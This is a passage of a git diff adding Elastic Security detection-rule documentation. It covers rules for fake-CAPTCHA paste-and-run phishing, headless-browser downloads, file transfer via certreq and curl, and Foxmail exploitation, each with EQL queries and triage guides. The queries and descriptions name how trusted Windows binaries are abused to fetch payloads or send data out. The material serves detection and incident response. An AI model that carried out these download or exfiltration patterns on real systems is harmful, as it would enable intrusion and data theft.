ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-fake-captcha-phishing-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-fake-captcha-phishing-attack.asciidoc new file mode 100644 index 0000000000..afef7f1b6c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-fake-captcha-phishing-attack.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-potential-fake-captcha-phishing-attack]] +=== Potential Fake CAPTCHA Phishing Attack + +Identifies potential fake CAPTCHA phishing attack based on PowerShell or Cmd argument values. Adversaries employ this technique via compromised websites with browser injects, posing either as fake CAPTCHAs to access the site or as a page loading error requiring a fix to display the page. The victim is instructed to copy and past a malicious command to the Windows Run dialog box. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Fake CAPTCHA Phishing Attack* + + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any malicious intent. +- Review web activity preceeding the alert to identify the initial vector. +- Investigate any network activity or child processes from the suspected process. +- Correlate the event with other security alerts or logs from the same host or user to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the environment, such as the presence of sensitive data or critical systems that might be affected. + + +*False positive analysis* + + +- Legitimate administrative scripts containing the suspicious keywords such as CAPTCHA. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified by the detection rule to halt ongoing malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or scripts. +- Review and clean up any unauthorized changes to system configurations or scheduled tasks that may have been altered by the malicious PowerShell activity. +- Restore any affected files or system components from known good backups to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and logging for PowerShell activities across the network to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("powershell.exe", "cmd.exe", "mshta.exe") and process.parent.name : "explorer.exe" and + process.command_line : ("*recaptcha *", "*CAPTCHA Verif*", "*complete verification*", "*Verification ID*", "*Verification Code*", "*Verification UID*", + "*hυmаn vаlіdаtiοn*", "*human ID*", "*Action Identificator*", "*not a robot*", "*Click OK to*", "*anti-robot test*", + "*Cloudflare ID*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-download-via-a-headless-browser.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-download-via-a-headless-browser.asciidoc new file mode 100644 index 0000000000..d68e09e094 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-download-via-a-headless-browser.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-potential-file-download-via-a-headless-browser]] +=== Potential File Download via a Headless Browser + +Identifies headless browser execution from a suspicious parent process with arguments consistent with scripted retrieval. Adversaries use browsers because they are trusted, signed binaries that proxy and application-control policies allow through, bypassing restrictions on direct download tools. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Msedge/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Windows +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Download via a Headless Browser* + + + +*Possible investigation steps* + + +- What headless pattern does the command line express, and is the browser the installed product? + - Why: this rule fires on three distinct retrieval patterns -- remote URL fetch, inline base64 HTML decode ("data:text/html;base64"), or DOM dump ("--dump-dom") -- and each requires different follow-on evidence. + - Focus: `process.command_line` and `process.working_directory` to identify the retrieval pattern and output destination; confirm the browser is the installed product via `process.executable`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: retrieval intent is stronger when the command line targets external content, decodes base64, or redirects output to unusual paths, especially when the browser is unsigned, portable, or renamed; more explainable when the arguments match a rendering or automation workflow and the browser is the standard signed installation. + +- Does the parent, ancestry, and user-host pattern explain why a browser is being driven headlessly? + - Why: the same browser arguments mean different things when launched by a web-rendering service than when launched by a script host, Office application, or interactive shell. + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, and `process.Ext.session_info.logon_type`; also check whether `user.id` and `host.id` fit a role where headless browser automation is expected. + - Implication: more concerning if launched by a script host, Office process, MSI, WMI, or an unexpected interactive session, or when the user-host pair should not be running headless browsers; more explainable if the ancestry resolves to a recognized rendering service or automation component for that host role. + +- Do network events show the browser reaching destinations consistent with the claimed workflow? + - Focus: same-host network events scoped to the alert's `process.entity_id`, using `dns.resolved_ip` to bridge `dns.question.name` to `destination.ip` and treating `destination.as.organization.name` as ownership context rather than a verdict. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is not available, stay on the same `host.id` and alert window and use `dns.question.name`, `dns.resolved_ip`, and `destination.ip` to test whether the browser likely reached the fetched content. + - Implication: delivery risk increases when the browser reaches rare public destinations or infrastructure unrelated to the workflow, or when another process connects to an exposed debugging port; risk falls when destinations align with recognized internal services or known automation targets. Missing network telemetry is unresolved, not benign. + +- Do file events or child processes from the browser show downloaded, decoded, or staged artifacts? + - Focus: file events scoped to `process.entity_id` (`file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, `file.Ext.header_bytes`), child process activity, and later `process.executable` reuse of a written path. + - Implication: more likely delivery when the browser writes scripts, executables, archives, or decoded content to user-writable or deceptive paths, spawns child processes, or the artifact later appears in execution telemetry; less concerning when output stays in a renderer cache or report directory with no suspicious reuse. + +- If the local browser, destination, or artifact evidence stays suspicious or unresolved, does related alert history show isolated automation or broader download activity on this user or host? + - Focus: related alerts for `host.id` and `user.id` in the last 48 hours, checking for sibling transfer tools, non-headless browser automation, or reuse of the same destinations across hosts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same user or host shows repeated delivery behavior across hosts or through sibling tools; keep narrow when both alert views stay within one recognized automation component. + +- Escalate when browser identity, command line, destinations, artifacts, or alert scope point to unauthorized headless retrieval or staging; close only when all evidence aligns with a recognized automation workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Server-side rendering, web testing, QA, or browser automation can legitimately start a headless browser with retrieval arguments. Confirm when `process.executable`, `process.parent.executable`, and the `dns.question.name` or `destination.ip` pattern all align with one automation component and no staged artifacts diverge from that workflow. If automation records are unavailable, require the same browser, parent, and destination pattern to recur across prior alerts. +- Before creating an exception, build on `process.executable`, `process.parent.executable`, `process.code_signature.subject_name`, and `host.id` or `user.id`. Avoid exceptions on `process.name` alone, the "--headless" flag alone, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the `process.executable`, `process.parent.executable`, `process.command_line`, destination pattern from `dns.question.name` or `destination.ip`, and recurring `user.id` / `host.id` scope that proved the workflow. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, first preserve the alert's `process.entity_id`, `process.command_line`, related `file.path` outputs, `file.origin_url` provenance, and any linked `dns.question.name`, `dns.resolved_ip`, or `destination.ip` values. Then apply reversible containment such as temporary egress blocks or tighter monitoring of the affected `user.id` or `host.id`. Escalate to host isolation only when the browser, network, or artifact evidence shows material delivery or staging risk. +- If confirmed malicious, document the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, written `file.path` artifacts, `process.hash.sha256`, and confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Prefer endpoint isolation as the first containment step, weighing the host's role before isolating critical infrastructure such as servers, domain controllers, or build systems. If direct endpoint response is unavailable, escalate with the preserved artifact set to the team that can act. +- After containment, review other `host.id` and `user.id` alerts for the same `dns.question.name`, `destination.ip`, or `process.executable` pattern before deleting artifacts or restoring access. Then block the malicious destinations and downloaded artifact hashes identified during the investigation, eradicate the scripts, archives, browsers, or persistence artifacts uncovered during the artifact and scope review, and remediate the launcher, automation component, or execution-control gap that allowed the headless browser to retrieve content. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("chrome.exe", "msedge.exe", "brave.exe", "browser.exe", "dragon.exe", "vivaldi.exe") and + process.args : "--headless*" and + process.args : ("--dump-dom", "*http*", "data:text/html;base64,*") and + process.parent.name : + ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "conhost.exe", "msiexec.exe", + "explorer.exe", "rundll32.exe", "winword.exe", "excel.exe", "onenote.exe", "hh.exe", "powerpnt.exe", "forfiles.exe", + "pcalua.exe", "wmiprvse.exe") and + not process.executable : ( + "?:\\inetpub\\wwwroot\\*\\ext\\modules\\html2pdf\\bin\\chrome\\*\\chrome-win64\\chrome.exe", + "\\Device\\HarddiskVolume*\\inetpub\\wwwroot\\*\\ext\\modules\\html2pdf\\bin\\chrome\\*\\chrome-win64\\chrome.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-transfer-via-certreq.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-transfer-via-certreq.asciidoc new file mode 100644 index 0000000000..93e2d3a424 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-transfer-via-certreq.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-potential-file-transfer-via-certreq]] +=== Potential File Transfer via Certreq + +Identifies Certreq making an HTTP Post request. Adversaries could abuse Certreq to download files or upload data to a remote URL. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Certreq/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Command and Control +* Tactic: Exfiltration +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Transfer via Certreq* + + +Certreq is a command-line utility in Windows operating systems that allows users to request and manage certificates from certificate authorities. It is primarily used for generating certificate signing requests (CSRs) and installing certificates. However, adversaries may abuse Certreq's functionality to download files or upload data to a remote URL by making an HTTP POST request. + +This rule identifies the potential abuse of Certreq to download files or upload data to a remote URL. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the details of the dropped file, and whether it was executed. +- Check the reputation of the domain or IP address used to host the downloaded file or if the user downloaded the file from an internal system. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unusual but can be done by administrators. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "CertReq.exe" or ?process.pe.original_file_name == "CertReq.exe") and process.args : "-Post" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-transfer-via-curl-for-windows.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-transfer-via-curl-for-windows.asciidoc new file mode 100644 index 0000000000..55a16cba17 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-file-transfer-via-curl-for-windows.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-potential-file-transfer-via-curl-for-windows]] +=== Potential File Transfer via Curl for Windows + +Identifies Curl for Windows making an HTTP request. Adversaries could abuse Curl to download files or upload data to a remote URL. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Transfer via Curl for Windows* + + +This rule identifies the use of Curl for Windows to download files from a remote URL or post data to a remote site. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the details of the dropped file, and whether it was executed. +- Check the reputation of the domain or IP address used to host the downloaded file or if the user downloaded the file from an internal system. +- Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unusual but can be done by administrators. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : ( + "?:\\Windows\\System32\\curl.exe", + "?:\\Windows\\SysWOW64\\curl.exe" + ) and + process.command_line : "*http*" and + process.parent.name : ( + "cmd.exe", "powershell.exe", + "rundll32.exe", "explorer.exe", + "conhost.exe", "forfiles.exe", + "wscript.exe", "cscript.exe", + "mshta.exe", "hh.exe", "mmc.exe" + ) and + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not event.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + /* Exclude System Integrity Processes for Sysmon */ + not ?winlog.event_data.IntegrityLevel == "System" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-foxmail-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-foxmail-exploitation.asciidoc new file mode 100644 index 0000000000..6769942015 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-foxmail-exploitation.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-potential-foxmail-exploitation]] +=== Potential Foxmail Exploitation + +Identifies the Foxmail client spawning a child process with argument pointing to the Foxmail temp directory. This may indicate the successful exploitation of a Foxmail vulnerability for initial access and execution via a malicious email. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://mp.weixin.qq.com/s/F8hNyESBdKhwXkQPgtGpew + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 207 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Foxmail Exploitation* + + +Foxmail, a popular email client, can be exploited by adversaries to gain initial access and execute malicious payloads. Attackers may leverage vulnerabilities to spawn child processes from Foxmail, directing them to temporary directories where malicious files reside. The detection rule identifies such suspicious activities by monitoring process creation events, specifically when Foxmail spawns processes with arguments pointing to its temp directory, indicating potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the process creation event details to confirm that Foxmail.exe is the parent process and check the specific child process that was spawned. +- Examine the arguments of the spawned process to verify if they point to a suspicious temporary directory, as indicated by the query pattern (e.g., paths under "?:\Users\*\AppData\*"). +- Investigate the contents of the identified temporary directory for any unusual or malicious files that may have been executed. +- Check the email logs and Foxmail client activity to identify any recent emails that could have contained malicious attachments or links leading to the exploitation attempt. +- Correlate the event with other security alerts or logs from data sources like Elastic Defend, 